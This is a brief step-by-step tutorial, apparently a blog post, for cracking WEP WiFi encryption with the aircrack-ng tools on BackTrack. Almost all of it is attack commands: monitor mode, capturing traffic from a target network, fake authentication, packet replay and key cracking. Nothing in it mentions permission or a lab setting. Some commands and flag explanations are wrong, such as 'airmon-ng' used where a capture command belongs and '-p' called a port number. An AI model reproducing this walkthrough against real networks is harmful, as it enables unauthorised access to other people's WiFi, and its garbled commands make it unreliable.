Crack Wep WiFi Security With Command Line

Basic Requirment

• Virtual Machine
• Back track
• Usb wifi card

   1.1   Firstly open the virtual machine and run the back track
  

   1.2   Now open the terminal
 

   1.3   Type the command  'Iwconfig' To check the wifi card is connected or not

   1.4   Now enabled the monitering mode Type command 'airmon-ng start wlan0'
  

   1.5   Now search the networks  with this command 'airodump-ng mon1'
 

   1.6   Here we select the the target network with the help of this command
          'airmon-ng -c 1 --bssid  -w vikas mon1'
           -c = select the channel number
           --bssid= basic service set identifier
           -w = give any name to the file where the password will store (vikas)

  
    1.7  Now sending a authentication with command
         'aireplay-ng -1 0 -a (bssid) -h (mac address) mon1
 

   1.8  Now sent a packet  So, type command
         'aireplay-ng -2 -p 0841 -b (bssid) -h (mac address) mon1
         -p = port number
         - h = mac address
 

   1.9  There is a last command that is
           ' aircrack-ng vikas-01.cap